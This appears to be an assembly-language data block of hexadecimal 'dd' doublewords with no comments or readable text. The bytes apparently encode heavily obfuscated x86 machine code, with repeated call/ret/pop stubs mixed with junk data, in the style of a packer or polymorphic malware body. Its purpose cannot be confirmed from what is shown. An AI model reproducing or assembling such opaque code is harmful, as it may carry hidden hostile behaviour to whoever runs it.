		dd 24448958h, 24448104h, 1604h,	0C3504000h, 663F8653h
		dd 8B447ABFh, 0A81001B5h, 0E8C38B06h, 0Ah, 0BD4EBBACh
		dd 0DDB934B9h, 66609036h, 3192C981h, 3315858Bh,	5E6106A8h
		dd 6A04E8C1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 448C356h, 7BBF664Dh, 0E2F766F5h
		dd 2312F681h, 0D82B35E0h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 3CC35141h, 0B589BEBBh, 6A81755h, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 242C214Eh, 0C94B32C4h, 0AA8176BEh, 0FD82B61h, 14B88h
		dd 5E900h, 4BCC0000h, 0B376753h, 0A805A1B5h, 7B906h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 74A9F3C3h, 351E5E40h, 665BF1E4h, 0E27FC681h,	0C183F9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0D4C35545h
		dd 0C737484Fh, 73231C84h, 49E6816Bh, 3B7D8D76h,	0D5860FD9h
		dd 81000000h, 0ED17FAE6h, 0D98C660Ch, 0F04C1F6h, 9184h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0C4E2FB79h, 0F04FD60h, 1188h, 0BE800h, 0E8BC0000h
		dd 0EB093ED9h, 75EAA7F8h, 95FF5E71h, 6A8068Dh, 11E9h, 1F5EE300h
		dd 392E53E4h, 0E2F80056h, 0D25E2C53h, 2B5B34CFh, 70BF66C3h
		dd 8343DE4h, 860F0000h,	2Ah, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0ACC35242h,	0B589C844h, 6A80E85h
		dd 33E9h, 0C08BF500h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 1Dh, 64C35141h, 1A8CC25Fh,	407533DCh, 0CF816689h
		dd 85319494h, 6A82C51h,	0D88BC38Bh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0FCC35747h,	0F0FDF483h, 85C74C44h
		dd 6A81A6Dh, 398C4377h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0C7C35141h, 0EEF5841h, 0EE06BF66h, 800FC08Bh
		dd 6, 0CA98D89h, 0BD8106A8h, 6A8176Dh, 7D0h, 5E850Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 13FDE9C3h, 3D33A4B8h, 1B58B3Ah, 0FF06A818h, 0A8176D85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 3FE0D81h, 0A678E609h, 0DA19D29h,	9D8906A8h
		dd 6A8005Dh, 176DB5FFh,	0BD0106A8h, 6A80AADh, 1B3195FFh
		dd 6A06A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BD8934C3h, 6A82775h, 1461B58Bh, 609006A8h
		dd 7F9858Bh, 8B5006A8h,	0A80CA18Dh, 95895A06h, 6A83475h
		dd 42BC88BBh, 85896136h, 6A81409h, 0DFDEBE66h, 0C858D01h
		dd 8E906A8h, 20000000h,	916E136Bh, 6A45AD00h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 9D4FC353h, 67EE8166h, 2785BFEDh, 6A4D29h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 662AB8C3h
		dd 8BD7D6BEh, 0A81FA5BDh, 0F0B70F06h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0B8C35545h,	9ED2C775h, 0DF81A697h
		dd 500EE966h, 9A93C681h, 860F01FAh, 0Ch, 2468EF81h, 0B5234C41h
		dd 6A82D25h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	24C35646h, 0E89898Ah, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0A7C35747h,	2651B58Bh, 0E3E906A8h
		dd 6AFFFFF7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0BF99C352h, 6A604Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0E21A0C3h
		dd 7FC1AACh, 0F6FE2FCh,	180h, 8D89F900h, 6A81B5Dh, 0FFFFFEB9h
		dd 56006AFFh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0DBBCC7DFh, 95313DCAh, 6A80F31h,	1E4D8D21h
		dd 6A06A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 111D3C3h,	9E8h, 96812200h, 0F7A54F47h, 5FF5C3D0h
		dd 8D21F6B7h, 6A80941h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 84C35747h, 958B9D33h,	6A816E9h, 1E4D8D8Bh
		dd 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0B5EC86C3h, 0BD891ECCh, 6A80079h,	0F01E183h
		dd 2585h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 960B189Eh, 4644F259h, 8D8BEE43h
		dd 6A80941h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	29C35545h, 0DA2A9865h, 8BB4FD50h, 0A82E8DBDh, 0CE906h
		dd 5D960000h, 0B1E6402Ch, 0C015E65Ch, 0E183F2BBh, 23850F01h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h
		dd 40000000h, 0DA7C350h, 7CB2CF81h, 60612A4Dh, 0D280C68Bh
		dd 0FFFEB9D1h, 8166FFFFh, 210691C2h, 0A8324D8Dh, 858B6006h
		dd 6A82121h, 1E559589h,	0E96106A8h, 0Dh, 0AEDC071Ch, 0FECD07C3h
		dd 764C57C3h, 218D21E9h, 6A06A830h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 28C0C352h
		dd 0C58D2973h, 8B06A82Ah, 0A8324D8Dh, 199D8B06h, 8306A81Fh
		dd 850F01E1h, 6, 0B018D29h, 8D8B06A8h, 6A83021h, 0F01E183h
		dd 685h, 0D5858B00h, 6106A834h,	57006A60h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 2424BBFCh
		dd 0F08106B6h, 0A3EF6C3h, 0FFFFFEB9h, 55006AFFh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0E9A0DF34h, 6060390Ch, 0BD29FC8Ah, 6A80F91h,	61D78B61h
		dd 2535950Bh, 8D2106A8h, 6A8259Dh, 2C89858Bh, 8D2106A8h
		dd 6A8251Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0E3C35343h, 4CE3CA79h, 64BB6602h, 9D8D8B5Ah, 0F06A825h
		dd 0E183FFB7h, 2850F01h, 8A000000h, 1D8D8BDEh, 8B06A825h
		dd 0A8064585h, 1E18306h, 40850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0E85160C3h
		dd 0Ah,	7575B66Bh, 0A033B972h, 0B58BC4FDh, 6A810DDh, 9D895A5Eh
		dd 6A81A39h, 34EDBD29h,	606106A8h, 1810Fh, 0B9F90000h
		dd 0FFFFFFFEh, 2BD99D33h, 8D2106A8h, 6A801EDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 46C35646h, 541493A3h
		dd 7EAFE881h, 8D21357Bh, 6A81A6Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 4AC35747h, 65ED1820h, 1ED8D8Bh
		dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0F8B500C3h, 0CBE6041h, 89217279h,	0A82CDD85h
		dd 0E1836106h, 6850F01h, 29000000h, 0A8076D8Dh,	6D8D8B06h
		dd 6A06A81Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0DDB3C357h, 325E0C38h,	8B7FCA4Dh
		dd 0A81009B5h, 1E18306h, 28850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0C74E25C3h
		dd 394E7FA5h, 1FF2DA81h, 606106ECh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0B4C35747h,	0C37877Fh, 1DAD8D29h
		dd 85C706A8h, 6A8176Dh,	7D0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 7EC35545h, 77EB7E83h, 299D8BF9h
		dd 6106A835h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	9CC35646h, 1B97B99Eh, 36742749h, 31558D89h, 7EB06A8h
		dd 0E99D61h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0CED3C350h,	16EA5EF4h
		dd 8166DB94h, 6A1146C6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 6E7EC350h, 8BC45F56h
		dd 8F4FEBC1h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h
		dd 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h
		dd 0DB6734DFh, 6FB700A6h, 0EA1A0047h, 0D5A3h, 199C0000h
		dd 0FECAh, 0FBFE4Ah, 0B4870000h, 202352DDh, 339C9ED9h
		dd 87E977E7h, 6A000012h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0BEADC353h,	0BD833CC4h
		dd 6A8339Dh, 2E850F00h,	53000000h, 0A2A2E781h, 0F5F3528h
		dd 68Dh, 0AD8D8B00h, 0B806A819h, 0
		dd 6860Fh, 0BD890000h, 6A80B25h, 290004C2h, 0A832AD95h
		dd 89C08B06h, 0A8328585h, 0D9BD8306h, 6A81Eh, 0BD830975h
		dd 6A82DE9h, 50137400h,	0B8C08B53h, 4D0h, 9F809D8Dh, 0D3FF06AAh
		dd 0BD83585Bh, 6A82DE9h, 50117400h, 4D0B853h, 9D8D0000h
		dd 6AA9ECDh, 585BD3FFh,	2771BD0Bh, 6A06A8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 15EEF1C3h
		dd 8BFF46B8h, 0B58B60C0h, 6A80A95h, 0CFEEDF81h,	8D6158A4h
		dd 0AC131185h, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0B1646F65h, 90F5BD72h
		dd 50FA8B66h, 0FD71BF66h, 0FE62BF90h, 858D4B81h, 6AC12CEh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 90C35646h
		dd 412A9947h, 9BE009A5h, 599D8B60h, 6106A833h, 0BE990h
		dd 0E9660000h, 3222E5Ah, 0AB6022CDh, 14E85078h,	56000000h
		dd 3A5DECEEh, 0DD752E77h, 0ED07A31Ah, 53FDA90Ah, 6697D4D1h
		dd 5FB1B3BAh, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0D83A94A7h, 8BE61EB1h, 2880FCEh
		dd 0B1000000h, 3595FF9Ah, 906A81Ah, 0A82E7D95h,	24448B06h
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0AAB1AC3Bh, 12F98589h, 10E906ACh, 0ED000000h
		dd 1FED9A46h, 677EE77Dh, 0A88463F8h, 8B4F1179h,	89082444h
		dd 0A81999BDh, 0D858906h, 6A06AC13h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 3CB2C350h
		dd 8E0FD425h, 6, 14C59523h, 0BD8306A8h,	6A80F01h, 0D8850F00h
		dd 0F000000h, 85C6FFB7h, 6A815D5h, 5DA9BA47h, 0B70F1CD0h
		dd 52D668FEh, 6056D443h, 0BF666160h, 5F619AD2h,	0FC240481h
		dd 0E9005754h, 14h, 5AED1702h, 0AA65D3AAh, 0DAB04454h
		dd 873DAE4Eh, 0ADEE1945h, 28DB509h, 0B5FF06A8h,	6A80F95h
		dd 0FE960h, 3B330000h, 0BFE2ACF6h, 75BA8D1Ah, 33670FC1h
		dd 3840F96h, 0F000000h,	8D61DFBFh, 0AB697185h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 9C82F492h, 398D8B30h, 0FF06A815h, 0E28166D0h, 8B60C12Eh
		dd 0A81D99BDh, 0CC8A5106h, 85896158h, 6A80F01h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0D2C35545h, 0CB8B66FAh
		dd 66D18B66h, 835616BAh, 0A80909BDh, 850F0006h,	0C0h, 919589h
		dd 0B58906A8h, 6A828A1h, 15D585C6h, 6A4706A8h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 164DC350h, 700C6AD5h, 0C8BF0FEBh, 4E8CFB6h, 0E2000000h
		dd 508A0FB5h, 424448Bh,	0FB8B6653h, 0B9008B59h,	10A447DEh
		dd 4244489h, 14E9h, 0C1230A00h,	58C0FCADh, 87EE53A4h, 0B9AF283Ch
		dd 0D4CB8056h, 85895891h, 6A82D79h, 0F95B5FFh, 9D2906A8h
		dd 6A80C0Dh, 6971858Dh,	6A06ABh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0B5893AC3h, 6A80AC9h
		dd 0CD19D31h, 0D0FF06A8h, 9098589h, 8D8906A8h, 6A832E5h
		dd 28ADBD83h, 0F0006A8h, 0DF85h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 6A98A556h
		dd 5188AF31h, 0A958D89h, 0C65906A8h, 0A815D585h, 14E95606h
		dd 8A000000h, 826296A2h, 0E6E05ECAh, 98AAD1D1h,	0F60973A9h
		dd 0E9442952h, 8, 35AB9B73h, 1CD7A5EFh,	66F8E168h, 0CE99Eh
		dd 7C610000h, 9746045h,	0E3C21471h, 3481C3C4h, 7995D824h
		dd 0F1BD234Ah, 0E806A820h, 0Dh,	0AEB3D138h, 7AAE3508h
		dd 681188B1h, 4D958B05h, 5906A825h, 0F95B5FFh, 0BD0106A8h
		dd 6A82239h, 6971858Dh,	9D0906ABh, 6A82FB9h, 6AD0FFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 898164C3h, 0A8288D95h, 0D78B6606h, 28AD8589h, 8D8B06A8h
		dd 6A81429h, 15D585C6h,	606C06A8h, 0EE9h, 72B57200h, 29ED54F9h
		dd 0A5783B6Dh, 0F49894Ah, 6861C1B7h, 0C6AE464Dh, 12E9h
		dd 27802200h, 2F6BAC75h, 14C3F5F5h, 5AE5F044h, 81EF7132h
		dd 2A362404h, 6A1457h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 5F6FE6C3h, 706EF0E7h, 0FFCAB70Fh
		dd 0A831F9B5h, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 3756365Bh, 4B21A715h
		dd 1E818D8Bh, 54B906A8h, 8D15F865h, 0A83AC385h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 114E8720h, 1DA18D8Bh, 0D0FF06A8h, 3025BD8Bh,	8D8B06A8h
		dd 6A80AADh, 12FD8589h,	958B06ACh, 6A806A5h, 1319BD83h
		dd 0F0006ACh, 10685h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 7E9179Dh, 4F000000h, 5D4E1BC6h
		dd 0BF669894h, 85C6EC98h, 6A815D5h, 52006A49h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0A243DA4Fh
		dd 64846895h, 34818EEFh, 0FA4D6D24h, 89526002h,	0A81C259Dh
		dd 13E85906h, 6E000000h, 0CCB5EC86h, 27CF5B1Eh,	0EC42F5EAh
		dd 74D173F1h, 8F0F8B08h, 0
		dd 0B5FF615Eh, 6A831F9h, 0C3858DF8h, 8906A83Ah,	0A83191BDh
		dd 6AD0FF06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0E9A1C351h, 0Fh, 0FA9BB402h, 5E1AE6CBh
		dd 3A252230h, 89CAA36Fh, 0AC131985h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 982E301Ah
		dd 0D7838DADh, 2880FDAh, 8B000000h, 2D8D8BD1h, 6A06A82Eh
		dd 4ABF6604h, 26E86874h, 25B5DB03h, 18240481h, 6A24FCE9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 19ACC357h, 13E9h,	14C91700h, 2C6D41Ah, 74F88278h
		dd 72F8F081h, 0E542447Eh, 0D18D89h, 8D8B06A8h, 6A834D5h
		dd 0EE592368h, 81616042h, 59232434h, 0CE842EFh,	74000000h
		dd 0C0F6026h, 7E97A667h, 5A8B8697h, 8D8B006Ah, 6A80BF9h
		dd 27C995FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 9FDC26C3h, 2E058D8Bh, 858906A8h
		dd 6AC1309h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	28C35141h, 0E5914DA3h, 1709BD89h, 85C706A8h, 6AC1301h
		dd 0
		dd 0FAD8D8Bh, 6A06A8h, 4FEF8166h, 4E8BAh, 0
		dd 40B90001h, 50008A27h, 448B56B2h, 0EE90424h, 7A000000h
		dd 32927872h, 0CE9973B9h, 0A1A659E2h, 89008BE6h, 50042444h
		dd 0A8B96652h, 0E9310FA5h, 12h,	57DC569h, 4B7BEE7Fh, 74850930h
		dd 56B805DCh, 585A2CB1h, 5AFC5658h, 3860Fh, 8B660000h
		dd 0E85790F8h, 11h, 0C19221FCh,	56540C0Eh, 23D82C35h, 0CB94468Fh
		dd 59FA8B68h, 0BF66505Ah, 6A9046ECh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0B840C351h
		dd 95E1ACCBh, 958957F2h, 6A806C9h, 0F6BF665Ah, 0E90B6AC4h
		dd 9, 0D5002936h, 52ECF534h, 0D6858D97h, 6A06AC12h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 4479C357h, 0D1BD8Bh,	0BF6606A8h, 6650DF07h, 489FA8Bh
		dd 0FFD58A24h, 0A80F0195h, 5858906h, 8D06A82Eh,	0AC12E0B5h
		dd 8A50F906h, 243489D4h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 87C35242h, 0E9509C70h, 10h, 0DFD34495h
		dd 4DA9BA09h, 57E294AFh, 9EF62DF5h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 2445C357h, 9E241E3Fh, 89C364B1h, 0A826C185h,	995FF06h
		dd 6A06A809h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 5E9AC351h, 0B6E4D4B0h,	31F9B70Fh
		dd 0A8319195h, 0FC00B06h, 1185h, 5D8D8B00h, 0E906A81Fh
		dd 6D3h, 0FB59D31h, 0D0FF06A8h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 4FC35242h, 3165B531h, 0B58B06A8h
		dd 6AC1309h, 0DE9h, 0E2FD9E00h,	0F6031D66h, 0AF9FB8E4h
		dd 468D5596h, 5E820h, 0C2FA0000h, 0F19B0D9h, 158Ch, 0FE800h
		dd 0F1D0000h, 0A1F543E3h, 0A84CD19Bh, 2A3E0811h, 6A5A5FC0h
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0D11FB13Bh, 6BFD3188h, 3810F1Eh,	66000000h
		dd 820FCB8Bh, 6, 2115BD89h, 605006A8h, 880F5250h, 0
		dd 585A310Fh, 61F18B66h, 0F240489h, 0E951F8BFh,	7, 0EF5234BCh
		dd 59515BF8h, 131995FFh, 810F06ACh, 1, 0FC00BFCh, 2C84h
		dd 0E989B600h, 5EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 23C35545h, 8BB20CCCh,	0A82275BDh, 207E8006h
		dd 0BC840F00h, 89000005h, 0A8206DB5h, 6A6006h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0BAB81C3h, 0D45839Bh, 89824DFAh, 0A81DE595h,	20468D06h
		dd 8589CA8Bh, 6AC1305h,	3C78166h, 82E915h, 8D8B0000h, 6A821FDh
		dd 50006A40h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 85897FE5h, 6A83135h, 0B3DBBF66h,	4DBF6650h
		dd 2404894Dh, 7EE4BA66h, 8166046Ah, 9001C4E1h, 0BF0F9050h
		dd 1995FFFBh, 8906AC13h, 0A801A98Dh, 1DB53106h,	8B06A82Bh
		dd 58FE8BD8h, 17ED958Bh, 0C28106A8h, 5A8F94CDh,	840FDB0Bh
		dd 10h,	2649958Bh, 0BAB906A8h, 0E946862Fh, 4F3h, 0F003880h
		dd 0FFFF7B85h, 56006AFFh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0B05346D4h, 2BB60933h
		dd 69B952B0h, 597CB2DCh, 1CE9h,	3D958B00h, 4806A81Dh, 9E8h
		dd 55F17600h, 12AB425Ah, 8D8B8DA4h, 6A81FF9h, 5853B5Ah
		dd 0F06AC13h, 1D82h, 0FB8B6600h, 0F5C3880h, 1184h, 2F388000h
		dd 0FFC9850Fh, 0B70FFFFFh, 0DA8166D7h, 6A40A143h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 839CC352h, 0D734FF54h, 0AB2C715h, 8BCABF0Fh,	0A81DE98Dh
		dd 0DBD8306h, 6AC13h, 18A840Fh,	8E80000h, 0B7000000h, 0FC8F39E9h
		dd 8BC7362Ah, 0A832DD95h, 0E8905906h, 0Fh, 3AA07A07h, 2C6653DCh
		dd 0FDEC8EE3h, 60CD2C38h, 66FE8B66h, 5A61D08Bh,	4F69BA50h
		dd 3902509h, 0AC130D85h, 0BA6606h, 0D9B589D8h, 9006A808h
		dd 50D18B66h, 0BE9h, 0B3280000h, 0D9BA99B7h, 0CEE215F8h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0E98AE976h, 6, 413ACF58h, 0BD8BAA55h, 6A806C9h
		dd 8589046Ah, 6A831E5h,	50A5B690h, 10E9h, 589EAD00h, 4B25BD22h
		dd 2F8A1AAAh, 0E39123DAh, 6A905Dh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 606D1BC3h, 57791CBEh
		dd 0D78B660Ah, 7E861h, 4F0E0000h, 2FD68162h, 0EAE280F6h
		dd 0CA816659h, 95FFF928h, 6AC1319h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 5AC35141h, 9E98771h, 0C0000000h
		dd 807D810h, 0FB4D6C4h,	10E9D88Bh, 71000000h, 30630476h
		dd 3D341D71h, 6D0AC9C5h, 585AB7DEh, 361786B9h, 0FDB0B2Fh
		dd 3384h, 7E900h, 673B0000h, 0E98CC7EFh, 2E5E970h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0D2CC49C3h, 10B764E5h, 10000C6h, 0A82F919Dh,	7ABA6606h
		dd 0BD095802h, 6A833A1h, 13E990h, 0AC5F0000h, 0D8A6CE15h
		dd 5A00E84Dh, 3816E60Fh, 0DF1DE1Fh, 87BA50EEh, 903A1AC5h
		dd 0CED9B966h, 6830F52h, 89000000h, 0A81AADBDh,	1E6A5A06h
		dd 0C800Fh, 800F0000h, 6, 30ED8D8Bh, 0E89006A8h, 12h, 7146120Dh
		dd 2D2B69DBh, 5497CCDCh, 0AFF823B3h, 8E84349h, 0A4000000h
		dd 0B76E016Ch, 0E97225EAh, 0Fh,	5984722Eh, 85F4CBE0h, 3BFFA1B1h
		dd 5A4984E2h, 0D08B505Ah, 8D8D8B90h, 0FF06A802h, 0AC131995h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0F9E59928h, 0FEA8AE5h, 686h, 758D0300h
		dd 8B06A80Ch, 0B58958D8h, 6A81F39h, 840FDB0Bh, 56h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 30C35141h, 6A830A3Fh
		dd 0C366C00Ah, 0E99531BFh, 106A810h, 0A83109B5h, 1A9E906h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0F0B45C3h, 8B50D7BFh, 240489F8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EBC35646h, 0FDD21441h
		dd 7824B00Eh, 0FFD18B66h, 0AC12F9B5h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 0FFCA1BC2h, 0AC12FD95h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0CEE215F8h
		dd 1F95BD29h, 816606A8h, 0B6924D9h, 0CB850FC0h,	60000000h
		dd 9E9h, 6C360100h, 0AA260EBBh,	0FE91297h, 0E1000000h
		dd 0FB3F67CBh, 3652E578h, 0CA620EBFh, 5061F43Eh, 6870Fh
		dd 830F0000h, 0
		dd 6A6159h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0A79217C3h, 7F70C0A4h, 185C763h, 106AC13h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0A17EC353h, 0BFBC0B4Eh, 16BF8E74h
		dd 0D8D28166h, 91BD8BDFh, 8906A831h, 0A80CF1B5h, 65E906h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 70E30EC3h, 0F5151D18h, 7E921E3h, 9F000000h
		dd 48032F29h, 8161BB6Bh, 0B1F947F7h, 1CC6815Bh,	0FC000001h
		dd 0FFF991E9h, 57006AFFh, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 9B418801h, 688BFFB1h
		dd 7166DB5Bh, 0CE9h, 338BE400h,	990E447Ah, 0F6A69413h
		dd 24348161h, 71665B5Bh, 0CE8h,	87D12400h, 0BA942729h
		dd 12EE6416h, 39958B29h, 5A06A80Eh, 0BD89006Ah,	6A82A9Dh
		dd 1309B5FFh, 6A06ACh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0F7E94DC3h, 13DD8064h, 28AD95FFh
		dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0E26236C3h, 66A82CA5h, 8B64C981h,	1301858Bh
		dd 6A06ACh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 95AF34C3h, 54DBF690h, 5ABA66D7h, 0A5BF5072h
		dd 892347C5h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0AF3C5CC3h, 0BB7AD82Dh, 5302730Ch
		dd 11858D59h, 6A06AC13h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 9A6AC350h, 2CD6ECF9h
		dd 336070F3h, 0A821F595h, 0ED8D8B06h, 6106A815h, 0FE890h
		dd 0ECCF0000h, 3094F54Ch, 9A217458h, 3F16970Eh,	0DE810h
		dd 29C80000h, 122F4F2h,	37200F44h, 6619812Fh, 5951DCB9h
		dd 0BE95059h, 0B9000000h, 62A959EFh, 9C76994Bh,	8090FEE4h
		dd 858DA7EAh, 6AC12CEh,	3231958Bh, 895006A8h, 0BA662404h
		dd 95FFF83Eh, 6A82D75h,	90DBD29h, 0C08B06A8h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 70C35040h, 25D9BD8Bh
		dd 0BD8306A8h, 6A81ED9h, 83097500h, 0A82DE9BDh,	13740006h
		dd 0C08B5350h, 4D0B8h, 0E79D8D00h, 0FF06AA9Fh, 83585BD3h
		dd 0A82DE9BDh, 11740006h, 0D0B85350h, 8D000004h, 0AA9EE69Dh
		dd 5BD3FF06h, 0B1958958h, 0F06A827h, 0F781D7BFh, 6F605F08h
		dd 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
